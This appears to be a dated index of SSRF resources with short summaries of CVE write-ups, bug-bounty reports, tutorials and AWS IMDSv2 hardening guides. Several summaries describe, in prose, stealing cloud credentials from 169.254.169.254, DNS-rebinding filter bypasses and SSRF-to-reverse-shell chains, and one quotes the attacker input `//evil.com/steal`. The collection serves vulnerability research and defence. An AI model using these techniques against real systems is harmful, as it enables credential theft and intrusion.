| 2026-04-10 2026 | HackerOne: SSRF in Exchange Leads to ROOT (Shopify) news | HackerOne: SSRF in Exchange Leads to ROOT (Shopify) → hackerone.com |
| 2026-04-10 2026 | PentesterLab: SSRF in PDF Generation intermediate | PentesterLab: SSRF in PDF Generation → pentesterlab.com |
| 2026-04-10 2026 | The Ultimate Sink for SSRFs: HTML To PDF Converters intermediate | The Ultimate Sink for SSRFs: HTML To PDF Converters |
| 2026-04-10 2026 | SSRF to LFI Payload for PDF Generators (CVE-2024-34112) intermediate 3 min read | Payload for CVE-2024-34112 details how to leverage Server-Side Request Forgery (SSRF) within PDF generation processes to achieve Local File Inclusion (LFI). The technique exploits the `<meta http-equiv="refresh">` tag, a known attack vector for XSS, to redirect the server-side PDF renderer to local files like `/etc/hosts` or `/etc/passwd`, as demonstrated in Adobe ColdFusion prior to APSB24-41. Even when file URIs are blocked, HTTP-based SSRF remains a risk. |
| 2026-04-10 2026 | Exploiting PDF Generators: Complete Guide to SSRF intermediate 7 min read | Guide to finding SSRF vulnerabilities in PDF generators, focusing on HTML-to-PDF conversion. It details how unsanitized user input can lead to HTML injection, enabling SSRF, Local File Disclosure (LFD), and other exploits. The guide provides payloads for both full and blind SSRF, including techniques using XHR, Fetch, meta tags, images, and SVG, and explores escalating SSRF in cloud environments targeting metadata endpoints. CVE-2023-33733 is cited as an example of injection leading to code execution. → intigriti.com |
| 2026-04-10 2026 | Mastering SSRF: Ultra-Extensive Guide intermediate | Mastering SSRF: Ultra-Extensive Guide |
| 2026-04-10 2026 | Metabadger: Prevent SSRF via Automated IMDSv2 Upgrades intermediate 7 min read | Tool for preventing SSRF attacks on AWS EC2 by automating upgrades to Instance Metadata Service v2 (IMDSv2). Metabadger diagnoses current IMDS usage, prepares instances for v2, enables mandatory session tokens and header checks, and can disable the service where unnecessary to reduce attack surface. It assists in identifying instances using IAM roles and provides commands to discover metadata service usage and harden configurations across regions, with options to exclude specific instances or perform dry runs. |
| 2026-04-10 2026 | How to Use IMDSv2 for Secure Instance Metadata Access beginner 6 min read | Library detailing the secure implementation of AWS Instance Metadata Service version 2 (IMDSv2). It explains how IMDSv1's lack of authentication makes it vulnerable to SSRF attacks leading to credential theft, contrasting it with IMDSv2's token-based security. The resource covers enabling and enforcing IMDSv2 for new and existing instances, updating shell scripts and Python applications, and checking fleet-wide IMDSv1 usage via CloudWatch metrics and AWS CLI commands. |
| 2026-04-10 2026 | SSRF Cheat Sheet 2025: Exploits, Defenses & Case Studies intermediate | SSRF Cheat Sheet 2025: Exploits, Defenses & Case Studies |
| 2026-04-10 2026 | AWS Defense in Depth Against SSRF with EC2 IMDS intermediate 8 min read | Library for enhancing the EC2 Instance Metadata Service (IMDS) to defend against open firewalls, reverse proxies, and SSRF vulnerabilities. IMDSv2 introduces session-based authentication requiring HTTP PUT requests to initiate a session and obtain a secret token, which then must be included in subsequent requests. This approach effectively mitigates open WAFs, open reverse proxies by checking for `X-Forwarded-For` headers, and many SSRF vulnerabilities by requiring both a PUT request and a valid session token. A final layer of defense against misconfigured layer-3 firewalls and NAT devices is achieved by setting the packet TTL to 1, preventing the session token from leaving the instance. → aws.amazon.com |
| 2026-04-10 2026 | CVE-2025-51591: SSRF Exploit Targets AWS Instance Metadata Service news 2 min read | Writeup of CVE-2025-51591, a critical SSRF vulnerability targeting AWS Instance Metadata Service (IMDS). This exploit allows attackers to steal temporary IAM credentials, leading to unauthorized AWS resource access, privilege escalation, and lateral movement within cloud environments. Organizations using EC2 instances with vulnerable applications accepting user-controlled URLs are at risk. Mitigation involves enabling IMDSv2, auditing applications for SSRF flaws, enforcing least privilege IAM roles, implementing network restrictions, and monitoring CloudTrail logs. |
| 2026-04-10 2026 | Cloud Penetration Testing: AWS, Azure & GCP Guide (2026) intermediate 9 min read | Guide to cloud penetration testing for AWS, Azure, and GCP environments, detailing how it differs from web application assessments. It covers IAM privilege escalation, metadata service exploitation, inter-service trust abuse, and storage bucket exposure. The guide also outlines provider-specific penetration testing rules and what a comprehensive cloud pentest report should contain for compliance evidence, including logging and detection gaps. |
| 2026-04-10 2026 | GCP SSRF on Action Hub Extension - Tenable intermediate 1 min read | Writeup detailing SSRF in GCP Action Hub's DataRobot action used by Looker. This vulnerability allows authenticated attackers to bypass IP allowlists and probe internal APIs by supplying malicious URLs that the Action Hub's server then requests. Google has since addressed the issue. → tenable.com |
| 2026-04-10 2026 | SSRF Exposes Data of Technology, Industrial and Media Organizations intermediate 10 min read | Analysis of CVE-2019-8451, a Server-Side Request Forgery vulnerability affecting Jira, reveals its potential to expose cloud infrastructure metadata. This vulnerability, exploitable without authentication, allows attackers to bypass firewalls and access sensitive information like credentials, configurations, and source code by redirecting requests to internal metadata APIs. Research indicates thousands of internet-exposed Jira instances remain vulnerable, with a significant portion leaking this critical data to technology, industrial, and media organizations. → unit42.paloaltonetworks.com |
| 2026-04-10 2026 | SSRF in the Kubernetes World - Kubernetes Goat intermediate 2 min read | Walkthrough of Server Side Request Forgery (SSRF) exploitation within Kubernetes environments, demonstrating how to leverage cloud instance metadata services (e.g., `169.254.169.254`) and Kubernetes native service discovery to access internal microservices like `metadata-db`. The scenario, inspired by real-world incidents such as a Shopify SSRF leading to ROOT access, guides users to obtain the `k8s-goat-FLAG` by querying internal endpoints and decoding base64 encoded secrets. |
| 2026-04-10 2026 | Exploiting SSRF in Cloud-Only Environments: A Deep Dive advanced 9 min read | Walkthrough demonstrating SSRF exploitation in cloud environments like AWS and Azure. This deep dive details how attackers can leverage Server-Side Request Forgery to access sensitive metadata services, internal applications, and cloud functions by manipulating vulnerable endpoints. The guide utilizes tools such as Burp Suite and SSRFmap to showcase real-world attack scenarios, including retrieving AWS access keys and accessing internal admin panels, ultimately leading to potential data theft, privilege escalation, and system compromise. |
| 2026-04-10 2026 | Private IP Addresses Deep Dive: Security Risks, SSRF, and Exploitation intermediate 5 min read | Library for validating IP addresses, mitigating Server-Side Request Forgery (SSRF) risks, and identifying internal network vulnerabilities. It highlights RFC 1918 private IP ranges, cloud metadata access via 169.254.169.254, and CVE-2025-8080 which bypassed the private-ip npm package. The library aids in preventing exploitation of internal services and insecure API endpoints through robust validation and network segmentation, drawing parallels to OWASP API7:2023 SSRF and advisories from GitLab. → penligent.ai |
| 2026-04-10 2026 | FastGPT Critical SSRF via Unauthenticated HTTP Proxy Endpoint intermediate 2 min read | Writeup of CVE-2026-34162 in FastGPT, a critical SSRF vulnerability with a CVSS score of 10. An unauthenticated HTTP tools testing endpoint, `/api/core/app/httpTools/runTool`, acts as a full HTTP proxy, allowing attackers to force the FastGPT server to make arbitrary HTTP requests to internal or external resources. Exploitation requires only network access and affects versions prior to 4.14.9.5, with a fix available in version 4.14.9.5. → thehackerwire.com |
| 2026-04-10 2026 | CVE-2026-35572: SSRF in ChurchCRM news 3 min read | Writeup of CVE-2026-35572, a Server-Side Request Forgery (SSRF) vulnerability in ChurchCRM versions prior to 6.5.3. This flaw allows attackers to inject crafted URLs into the Referer header, forcing the server to make outbound HTTP/HTTPS requests to attacker-controlled hosts. Exploitation can lead to information disclosure or interaction with internal network resources. The vulnerability is fixed in ChurchCRM version 6.5.3. → radar.offseq.com |
| 2026-04-10 2026 | CVE-2026-34936: SSRF in PraisonAI news 3 min read | Writeup detailing CVE-2026-34936, a Server-Side Request Forgery (SSRF) vulnerability in MervinPraison's PraisonAI multi-agent teams system. Versions prior to 4.5.90 are affected due to the `passthrough()` and `apassthrough()` functions accepting uncontrolled `api_base` parameters, which are then passed to `httpx.Client.request()` without proper validation. This allows attackers to compel the server to make requests to arbitrary internal or external hosts, potentially leading to information disclosure from protected network resources. The issue was patched in version 4.5.90. → radar.offseq.com |
| 2026-04-10 2026 | CVE-2026-39368: SSRF in WWBN AVideo news 3 min read | Writeup of CVE-2026-39368, a CWE-918 Server-Side Request Forgery (SSRF) vulnerability in WWBN AVideo versions 26.0 and prior. Authenticated streamers can exploit this flaw by controlling the `restreamerURL` parameter, allowing them to trigger server-side requests to internal or loopback HTTP services. This vulnerability has a CVSS 3.1 score of 6.5, with a high confidentiality impact due to potential unauthorized access to internal resources. No vendor advisory or patch is currently available. → radar.offseq.com |
| 2026-04-10 2026 | CVE-2026-33182: SSRF in Saloon PHP Library news 6 min read | Writeup of CVE-2026-33182, a Server-Side Request Forgery (SSRF) vulnerability in the Saloon PHP library. Prior to version 4.0.0, Saloon would use an absolute URL provided as a request endpoint directly, ignoring the base URL. This allowed attackers to force the server to send requests, including authentication headers and tokens, to attacker-controlled hosts. The vulnerability, also related to CWE-522 credential exposure, is fixed in version 4.0.0 by rejecting absolute URLs by default. → radar.offseq.com |
| 2026-04-10 2026 | CVE-2026-30832: Critical SSRF in Soft Serve news 3 min read | Writeup on CVE-2026-30832 detailing a critical Server-Side Request Forgery (SSRF) in Charmbracelet’s Soft Serve (versions 0.6.0 up to 0.11.4). Exploitation involves an authenticated attacker using a crafted `–lfs-endpoint` URL during a `repo import` operation. A malicious LFS server can then direct Soft Serve to fetch data from internal or private IP addresses, granting read access to sensitive services and cloud metadata. The vulnerability is resolved in Soft Serve version 0.11.4. → dailycve.com |
| 2026-04-10 2026 | Blind SSRF with Burp Collaborator intermediate | Blind SSRF with Burp Collaborator |
| 2026-04-10 2026 | Blind SSRF with Shellshock Exploitation intermediate | Blind SSRF with Shellshock Exploitation |
| 2026-04-10 2026 | Mastering Blind SSRF Detection With Burp Suite intermediate 2 min read | Analysis of Blind SSRF detection using Burp Suite, detailing techniques like header bruteforcing with Intruder, out-of-band detection via Collaborator, and real-time monitoring with the Taborator extension. It covers advanced payload strategies including numerical ranges and cloud metadata endpoint enumeration, alongside Python scripting for automation and integration with the Burp API, emphasizing the critical need for proactive SSRF testing against evolving cloud-focused exploits. → undercodetesting.com |
| 2026-04-10 2026 | Testing for Blind SSRF with Burp Suite intermediate 1 min read | Tutorial on detecting blind SSRF vulnerabilities using Burp Suite's Collaborator. This method involves injecting a Collaborator payload into an HTTP request, often within parameters like `productId` or headers like `Referer`, and then monitoring the Collaborator tab for out-of-band interactions from the target application. The presence of these interactions confirms the application's susceptibility to blind SSRF. → portswigger.net |
| 2026-04-10 2026 | Blind SSRF Lab: Out-of-Band Detection intermediate | Library for demonstrating blind SSRF, specifically focusing on out-of-band detection via DNS and HTTP interactions. It guides users to intercept requests in Burp Suite, insert a Collaborator Payload into the Referer header, and analyze the resulting interactions in the Collaborator tab to confirm server-side command execution initiated by the application. → portswigger.net |
| 2026-04-10 2026 | Blind SSRF Vulnerabilities - PortSwigger beginner 2 min read | Reference on blind SSRF vulnerabilities, detailing how these occur when applications make back-end HTTP requests to supplied URLs without returning responses. It explains that while less impactful than informed SSRF, blind SSRF can still lead to remote code execution. The document highlights out-of-band (OAST) techniques, particularly using Burp Collaborator, as the most reliable detection method, and discusses exploitation strategies like sweeping internal IP space or inducing malicious responses by controlling external systems. → portswigger.net |
| 2026-04-10 2026 | Uncovering Blind SSRF Using Burp Collaborator intermediate | Uncovering Blind SSRF Using Burp Collaborator |
| 2026-04-10 2026 | How SSRF Leads to RCE in a .NET Application advanced | How SSRF Leads to RCE in a .NET Application |
| 2026-04-10 2026 | From SSRF to RCE: A 7-Step Chain Against PostHog advanced | From SSRF to RCE: A 7-Step Chain Against PostHog → infosecwriteups.com |
| 2026-04-10 2026 | MCPwnfluence: SSRF to RCE in Atlassian MCP Server (Pluto Security) advanced 10 min read | Library for securing Atlassian MCP Server, addressing vulnerabilities CVE-2026-27825 (arbitrary file write leading to RCE) and CVE-2026-27826 (SSRF via header injection). These flaws allow unauthenticated users on the local network to execute commands as root by chaining an SSRF vulnerability with an arbitrary file write, enabling overwriting critical files like `.bashrc` or `.ssh/authorized_keys`. The library includes fixes for path validation and SSRF protection, recommending immediate upgrades for affected versions below 0.17.0. |
| 2026-04-10 2026 | Blind SSRF to RCE Vulnerability Exploitation intermediate 3 min read | Writeup demonstrating blind SSRF to RCE exploitation, detailing how an attacker can leverage a blind Server-Side Request Forgery vulnerability. This technique involves port scanning using the Gopher protocol to identify open services like Redis (TCP 6379) and then employing the Gopherus tool to generate payloads. These payloads can target various services such as MySQL, FastCGI, Memcached, Redis, Zabbix, and SMTP, ultimately allowing for the planting of a reverse shell and achieving Remote Code Execution. → resecurity.com |
| 2026-04-10 2026 | SSRF: From Ping to RCE intermediate | SSRF: From Ping to RCE |
| 2026-04-10 2026 | MCPwnfluence: Critical SSRF to RCE in mcp-atlassian (Pluto Security) advanced 10 min read | Writeup of CVE-2026-27825 and CVE-2026-27826, detailing an unauthenticated SSRF to RCE attack chain in mcp-atlassian. The vulnerabilities, with CVSS scores of 9.1 and 8.2 respectively, allow network-reachable code execution as root by overwriting files or injecting SSRF payloads via Atlassian URL headers. Affecting versions prior to 0.17.0, the findings highlight risks in widely used MCP server deployments. |
| 2026-04-10 2026 | MindsDB: Bypass SSRF Protection with DNS Rebinding intermediate 2 min read | Writeup detailing how DNS rebinding can bypass SSRF protection in MindsDB. This technique manipulates domain name resolution, allowing an initial DNS query to a public IP address followed by a subsequent request to a private IP. The writeup includes a Python Proof of Concept utilizing Flask and demonstrating how to exploit this vulnerability, leading to potential Server-Side Request Forgery and Denial of Service impacts. |
| 2026-04-10 2026 | CVE-2026-27127: Weaponizing DNS Rebinding to Bypass SSRF Filters in Craft CMS intermediate 4 min read | Writeup on CVE-2026-27127 details a critical SSRF bypass in Craft CMS. Attackers leverage DNS rebinding, exploiting a TOCTOU race condition within the GraphQL Asset mutation logic. This technique circumvents IP blocklists by dynamically changing DNS records between validation and connection phases, allowing them to steal cloud metadata credentials by tricking the application into connecting to internal endpoints like 169.254.169.254. The fix shifts validation to the HTTP client's connection phase using Guzzle's ON_STATS option. |
| 2026-04-10 2026 | Bypassing SSRF Protection in nossrf: When Safeguards Become Loopholes intermediate 3 min read | Writeup on bypassing SSRF protection in the `nossrf` npm package, affecting all versions up to and including 1.0.3. The vulnerability stems from the package's validation logic, which uses Google DNS to resolve hostnames but fails to check if the resolved IP address belongs to a local or reserved IP space. Attackers can craft hostnames that resolve to local IPs, such as 127.0.0.1, bypassing the protection and enabling potential SSRF attacks. |
| 2026-04-10 2026 | Using DNS To Bypass SSRF Protections intermediate 2 min read | Library for bypassing SSRF denylist protections by using DNS to resolve an external domain name to a target IP address, specifically demonstrating this technique against Azure metadata API (169.254.169.254) by configuring a subdomain to point to the metadata IP. This method effectively circumvents common deny-list controls found in web application penetration tests. |
| 2026-04-10 2026 | CVE-2026-27127: Craft CMS Cloud Metadata SSRF via DNS Rebinding intermediate | CVE-2026-27127: Craft CMS Cloud Metadata SSRF via DNS Rebinding → advisories.gitlab.com |
| 2026-04-10 2026 | HackerOne: SSRF Mitigation Bypass Using DNS Rebind Attack intermediate | HackerOne: SSRF Mitigation Bypass Using DNS Rebind Attack → hackerone.com |
| 2026-04-10 2026 | SSRF with DNS Rebinding - Clear Gate intermediate | SSRF with DNS Rebinding - Clear Gate |
| 2026-04-10 2026 | Bypass SSRF with DNS Rebinding intermediate | Bypass SSRF with DNS Rebinding |
| 2026-04-10 2026 | Meta Bug Bounty: SSRF Payout Guidelines news | Guidelines for assessing Server Side Request Forgery (SSRF) vulnerabilities, with a maximum payout cap of $40,000. These guidelines detail impact assessment and potential deductions. Meta provides a canary endpoint, `https://www.internalfb.com/intern/bug-bounty/get-canary-token/`, for researchers to test SSRF findings and retrieve a canary token if data is successfully read. A bonus may apply for demonstrating full control of HTTP requests, while deductions can occur for rate-limited or delayed requests. |
| 2026-04-10 2026 | HackerOne: SSRF in Search.gov via URL Parameter news | HackerOne: SSRF in Search.gov via URL Parameter → hackerone.com |
| 2026-04-10 2026 | SSRF Worth $4,913: My Highest Bounty Ever news | SSRF Worth $4,913: My Highest Bounty Ever |
| 2026-04-10 2026 | Bug Bounty Write-up: From SSRF to $4000 news 5 min read | Writeup of a bug bounty discovery detailing the exploitation of a Server-Side Request Forgery (SSRF) vulnerability, escalating it to Remote Code Execution (RCE) through command injection. The process involves leveraging the SSRF to exfiltrate internal files like `/etc/passwd` and write to server files, culminating in the addition of an SSH public key to gain unauthorized access to the vulnerable server. |
| 2026-04-10 2026 | HackerOne: SSRF via Analytics Reports news | HackerOne: SSRF via Analytics Reports → hackerone.com |
| 2026-04-10 2026 | Exploit SSRF to Gain AWS Credentials intermediate 6 min read | Writeup detailing how to exploit Server-Side Request Forgery (SSRF) vulnerabilities in AWS EC2 instances to gain AWS credentials. It demonstrates how an SSRF flaw, combined with the default Instance Metadata Service (IMDS) v1 configuration, allows attackers to retrieve sensitive information, including IAM role credentials. The article covers vulnerable code examples, exploitation techniques using IMDS v1 endpoints, and remediation strategies such as enforcing IMDSv2, implementing Web Application Firewalls (WAFs), and proper input validation in application code. |
| 2026-04-10 2026 | Hackers Exploit SSRF in EC2 to Steal AWS Credentials news 5 min read | Library detailing Server-Side Request Forgery (SSRF) exploits against AWS EC2 instances, specifically targeting the EC2 metadata URL (http://169.254.169.254/latest/meta-data/) to steal AWS IAM credentials via IMDSv1. The campaign, observed between March 13-25, 2025, by F5 Labs, involved rotating query parameter names and subpaths to evade detection. Mitigation strategies include upgrading to IMDSv2, auditing EC2 permissions, implementing SSRF filters, and utilizing tools like AWS GuardDuty. |
| 2026-04-10 2026 | SSRF Explained: Attack Techniques and Real-World Exploits beginner 7 min read | Library detailing Server-Side Request Forgery (SSRF) attack techniques, including exploiting cloud metadata endpoints on AWS, GCP, and Azure, bypassing blocklists with alternative IP representations and DNS rebinding, abusing URL schemes like `file://`, `dict://`, and `gopher://`, chaining open redirects, and accessing internal services like Kubernetes APIs and admin panels. It also covers blind SSRF, out-of-band detection, and exploitation via server-side PDF generation using `wkhtmltopdf`. |
| 2026-04-10 2026 | Campaign Targets Amazon EC2 Instance Metadata via SSRF intermediate 6 min read | Analysis of March 2025 threats details a campaign exploiting Amazon EC2 Instance Metadata via Server-Side Request Forgery (SSRF), exposing sensitive data including IAM role credentials. This campaign, unrelated to a specific CVE, leverages CWE-200 and CWE-918. The analysis also highlights continued exploitation of CVE-2017-9841 (PHPUnit RCE), CVE-2023-1389 (TP-Link RCE), CVE-2024-4577 (PHP-CGI argument injection), and CVE-2019-9082 (ThinkPHP RCE). |
| 2026-04-10 2026 | Steal EC2 Metadata Credentials via SSRF intermediate 2 min read | Writeup detailing how Server Side Request Forgery (SSRF) or XML External Entity (XXE) vulnerabilities on an EC2 instance can be exploited to steal IAM credentials from the Instance Metadata Service (IMDS). This technique allows attackers to access sensitive information, including credentials associated with IAM roles, by making requests to the `169.254.169.254` IP address. The article highlights the importance of enforcing IMDSv2 to mitigate this common AWS attack vector. |
| 2026-04-10 2026 | SSRF in Cloud Environments: Exploiting AWS Metadata Services intermediate | SSRF in Cloud Environments: Exploiting AWS Metadata Services |
| 2026-04-10 2026 | SSRF to AWS Metadata Exposure: How Attackers Steal Cloud Credentials intermediate 6 min read | Writeup on Server-Side Request Forgery (SSRF) to AWS metadata exposure, detailing how attackers exploit unvalidated user input to access the EC2 Instance Metadata Service (IMDS) at 169.254.169.254. The article demonstrates the technique of traversing the metadata hierarchy to extract temporary IAM role credentials, leading to potential cloud credential theft, internal network scanning, and unauthorized access to AWS services. Mitigation strategies include enabling IMDSv2, enforcing strict URL validation, and restricting network access. → resecurity.com |
| 2026-04-10 2026 | CVE-2026-34981: SSRF in whisperX-FastAPI news 3 min read | Writeup of CVE-2026-34981, a Server-Side Request Forgery (SSRF) vulnerability in whisperX-FastAPI. Versions 0.3.1 through 0.5.x are affected in `FileService.download_from_url()` due to unvalidated URL inputs, allowing attackers to append `.mp3` to internal URLs to bypass extension checks. The unauthenticated `/speech-to-text-url` endpoint facilitates exploitation, potentially leading to unauthorized information disclosure. The vulnerability is fixed in version 0.6.0. → radar.offseq.com |
| 2026-04-09 2026 | Grafana CVE-2025-4123: Full Read SSRF & Account Takeover news | Grafana CVE-2025-4123: Full Read SSRF & Account Takeover |
| 2026-04-09 2026 | Securing Agentic AI & MCP from SSRF and Injection intermediate | Securing Agentic AI & MCP from SSRF and Injection |
| 2026-04-09 2026 | Blind SSRF into Internal Port Scanning intermediate | Blind SSRF into Internal Port Scanning |
| 2026-04-09 2026 | From SSRF to Port Scanner intermediate 3 min read | Technique demonstrating SSRF exploitation for internal and external port scanning, bypassing firewalls. This method leverages the web server's response to differentiate open from closed ports, utilizing Burp Intruder for efficient port enumeration, and discusses mitigation strategies like whitelisting DNS names, proper response handling, and request rate limiting. → cobalt.io |
| 2026-04-09 2026 | High-Severity Spring Cloud Config Flaw Triggers File Leaks and SSRF news 1 min read | Vulnerability CVE-2026-22739 in Spring Cloud Config, rated CVSS 8.6, enables directory traversal for unintended file access and SSRF attacks. The flaw stems from improper handling of the "profile" parameter during request substitution, allowing attackers to bypass intended security boundaries and access sensitive data or initiate unauthorized server-side requests. Remediation involves upgrading to patched versions. |
| 2026-04-09 2026 | Spring Cloud Config SSRF via Profile Substitution (CVE-2026-22739) news | Library for securing Spring Cloud Config, addressing CVE-2026-22739. This vulnerability allows Server-Side Request Forgery (SSRF) when the profile parameter is substituted in requests to a native file system backend, enabling access to files outside search directories, or when using a source control backend, allowing substitution into repository URLs. Users should upgrade to the fixed version. |
| 2026-04-09 2026 | Exploitation of an SSRF Vulnerability Against EC2 IMDSv2 intermediate 4 min read | Writeup details the exploitation of an SSRF vulnerability against Atlassian Confluence instances on AWS, specifically targeting EC2 IMDSv2. The process involves bypassing IMDSv2's authentication by leveraging the `gadgets.io.makeRequest()` function's ability to control HTTP methods and headers. This allows attackers to obtain an IMDSv2 session token, which is then used to exfiltrate sensitive metadata, including hardcoded credentials for PostgreSQL, Tenable Nessus, and Hibernate, as well as EC2 instance security credentials. |
| 2026-04-09 2026 | How SSRF Exploits IMDSv2 Limitations in AWS intermediate | How SSRF Exploits IMDSv2 Limitations in AWS |
| 2026-04-09 2026 | FastMCP SSRF & Path Traversal via OpenAPI Provider (CVE-2026-32871) news | FastMCP SSRF & Path Traversal via OpenAPI Provider (CVE-2026-32871) → advisories.gitlab.com |
| 2026-04-09 2026 | Docker Model Runner SSRF in OCI Registry (CVE-2026-33990) news | Docker Model Runner SSRF in OCI Registry (CVE-2026-33990) → advisories.gitlab.com |
| 2026-04-09 2026 | AVideo SSRF Protection Bypass via Extension Allowlist (CVE-2026-39370) news | AVideo SSRF Protection Bypass via Extension Allowlist (CVE-2026-39370) → advisories.gitlab.com |
| 2026-04-09 2026 | AVideo Stored SSRF via Live Restream Log Callback (CVE-2026-39368) news | AVideo Stored SSRF via Live Restream Log Callback (CVE-2026-39368) → advisories.gitlab.com |
| 2026-04-09 2026 | mcp-from-openapi SSRF via $ref Dereferencing (CVE-2026-39885) news | mcp-from-openapi SSRF via $ref Dereferencing (CVE-2026-39885) → advisories.gitlab.com |
| 2026-04-09 2026 | Directus SSRF Bypass via IPv4-Mapped IPv6 Addresses (CVE-2026-35409) intermediate | Directus SSRF Bypass via IPv4-Mapped IPv6 Addresses (CVE-2026-35409) → advisories.gitlab.com |
| 2026-04-09 2026 | Payload CMS Authenticated SSRF via Upload (CVE-2026-34746) news | Payload CMS Authenticated SSRF via Upload (CVE-2026-34746) → advisories.gitlab.com |
| 2026-04-09 2026 | Server-Side Request Forgery (SSRF) Complete Guide (2026) beginner | Server-Side Request Forgery (SSRF) Complete Guide (2026) |
| 2026-04-09 2026 | Auditing and Mitigating Axios SSRF in Kubernetes (CVE-2025-27152) intermediate 4 min read | Library for auditing and mitigating CVE-2025-27152, a Server-Side Request Forgery vulnerability in Axios that can lead to credential leakage via redirects. This resource details how to identify vulnerable Axios versions within Kubernetes clusters, outlines an attack scenario involving crafted redirects, and presents Kubernetes NetworkPolicies as a hardening strategy to block unwanted outbound traffic, supplementing dependency upgrades. It emphasizes a layered defense approach including dependency tracking and network isolation. |
| 2026-04-09 2026 | Advanced Techniques for Exploiting SSRF Vulnerabilities advanced | Advanced Techniques for Exploiting SSRF Vulnerabilities |
| 2026-04-09 2026 | WordPress Webmention Plugin SSRF (CVE-2026-0688) news 4 min read | Analysis of CVE-2026-0688 details a Server-Side Request Forgery (SSRF) vulnerability in WordPress's Webmention plugin up to version 5.6.2. This flaw, residing in the Tools::read function, allows authenticated attackers with Subscriber-level access to force the server to make requests to arbitrary internal or external locations. The vulnerability can be exploited to probe internal networks, access cloud metadata, and interact with sensitive backend systems, often bypassing standard firewalls. Mitigation involves updating the plugin, disabling it, restricting user access, or implementing network-level egress filtering. → sentinelone.com |
| 2026-04-09 2026 | Understanding SSRF: How Hackers Turn Your Server Into a Secret Proxy beginner | Understanding SSRF: How Hackers Turn Your Server Into a Secret Proxy |
| 2026-04-09 2026 | GitLab CVE-2025-6454: SSRF via Webhook Custom Headers news 3 min read | Writeup of CVE-2025-6454, a high-severity SSRF vulnerability in GitLab CE/EE versions 16.11 through 18.3.2. Attackers with authenticated access can exploit custom webhook headers to force the GitLab server to send requests to internal network resources, bypassing perimeter security. This vulnerability, categorized as CWE-918, allows for potential lateral movement and exposure of sensitive services. → zeropath.com |
| 2026-04-09 2026 | vLLM SSRF Vulnerability (CVE-2026-34753) news | Library for vLLM, an LLM inference and serving engine, addresses CVE-2026-34753, a critical server-side request forgery (SSRF) vulnerability. Versions from 0.16.0 up to, but not including, 0.19.0 fail to validate URLs, allowing attackers to force the vLLM batch runner to issue arbitrary HTTP/HTTPS requests. This enables targeting internal services and cloud metadata endpoints from the vLLM host. The vulnerability is resolved in version 0.19.0. |
| 2026-04-09 2026 | curl_cffi SSRF via Unrestricted Redirects (CVE-2026-33752) news 2 min read | Writeup of CVE-2026-33752, a critical Server-Side Request Forgery in curl_cffi versions prior to 0.15.0. This vulnerability allows attackers to exploit applications using the library to make requests to internal IP ranges, including cloud metadata endpoints, by leveraging unrestricted HTTP redirects and TLS impersonation features to bypass network controls. Exploitation requires network access to the vulnerable application and involves crafting a URL that redirects to an internal target. → thehackerwire.com |
| 2026-04-09 2026 | Ech0: Unauthenticated SSRF to Cloud Metadata (CVE-2026-35037) news | Ech0: Unauthenticated SSRF to Cloud Metadata (CVE-2026-35037) → advisories.gitlab.com |
| 2026-04-09 2026 | Craft CMS Cloud Metadata SSRF Bypass via IPv6 (CVE-2026-27129) intermediate | Craft CMS Cloud Metadata SSRF Bypass via IPv6 (CVE-2026-27129) → advisories.gitlab.com |
| 2026-04-09 2026 | New SSRF Exploitation Surge Echoes 2019 Capital One Breach news 3 min read | Analysis of a coordinated SSRF exploitation surge on March 9, affecting multiple platforms and at least 400 IPs across 10 CVEs, highlights a potential multi-phase attack strategy. Attackers may be mapping infrastructure using techniques like Grafana path traversal before escalating to SSRF, reminiscent of the 2019 Capital One breach. Defenders are advised to patch systems, restrict outbound access, and monitor for reconnaissance behaviors and suspicious requests. |
| 2026-04-09 2026 | Dgraph Critical SSRF and Auth Bypass (CVE-2026-34976) news 3 min read | Vulnerability CVE-2026-34976 details a critical SSRF and authentication bypass flaw in Dgraph versions 25.3.0 and older. Unauthenticated attackers can exploit a missing authorization check in the `restoreTenant` command within the GraphQL administration API to overwrite databases, steal sensitive files like password hashes and Kubernetes tokens, and perform SSRF attacks against internal networks. Researchers Matthew McNeely and Koda Reef discovered the issue. Until a patch is released, users are advised to isolate Dgraph admin ports and restrict access. |
| 2026-04-09 2026 | Neo Found an SSRF Vulnerability in Faraday (CVE-2026-25765) news 5 min read | Library analysis detailing CVE-2026-25765, a Server-Side Request Forgery (SSRF) vulnerability discovered in the Ruby HTTP client library Faraday. The SSRF arises from a URL parsing edge case where inputs like `//evil.com/steal` can override the intended destination host, even when passing basic path validation checks. This vulnerability, affecting Faraday up to version 2.14.0, was identified by AI security copilot Neo through autonomous code review of URL building logic, highlighting how subtle logic flaws can evade traditional static analysis tools. → projectdiscovery.io |
| 2026-04-09 2026 | SSRF: Advanced Exploitation Guide advanced 8 min read | Guide to advanced SSRF exploitation, this article details how to identify and exploit Server-Side Request Forgery vulnerabilities, including bypassing host and protocol whitelists, leveraging PDF generators, and understanding second-order SSRFs. It provides examples of bypass payloads and discusses how features like profile image loaders, webhook services, and request header processing can be vulnerable, referencing techniques like DNS rebinding and the PayloadsAllTheThings repository for advanced bypasses. → intigriti.com |
| 2026-04-09 2026 | CVE-2026-3125: OpenNext Cloudflare SSRF via Path Normalization Bypass news 4 min read | Writeup of CVE-2026-3125, detailing a Server-Side Request Forgery (SSRF) in @opennextjs/cloudflare, exploiting path normalization bypass via backslash substitution in the /cdn-cgi/image/ handler. This allows attackers to bypass Cloudflare's edge interception, proxy arbitrary content through victim domains, and potentially expose private cache data under /cdn-cgi/_next_cache. The vulnerability stems from inconsistent path handling between Cloudflare's edge and the JavaScript URL class, classified as CWE-706. Remediation involves upgrading to @opennextjs/cloudflare version 1.17.1 or later. → sentinelone.com |
| 2026-04-09 2026 | SSRF in axios (CVE-2025-27152) news | Writeup on CVE-2025-27152 in axios, detailing a Server-side Request Forgery (SSRF) vulnerability. Attackers can exploit this by tricking applications into sending requests to malicious endpoints, potentially exfiltrating sensitive data. The vulnerability arises because the `allowAbsoluteUrls` attribute is ignored when calling the `buildFullPath` function in the HTTP adapter, affecting versions prior to 0.30.0 and 1.8.2. → security.snyk.io |
| 2026-04-09 2026 | SSRF in Next.js (CVE-2025-57822) news | Writeup of CVE-2025-57822 in Next.js, detailing a Server-side Request Forgery (SSRF) vulnerability exploitable via crafted user-controlled headers when custom middleware is present. The SSRF allows access to internal resources by exploiting the `resolve-routes` functionality. Recommendations include upgrading to patched versions or utilizing `NextResponse.next({request})`. → security.snyk.io |
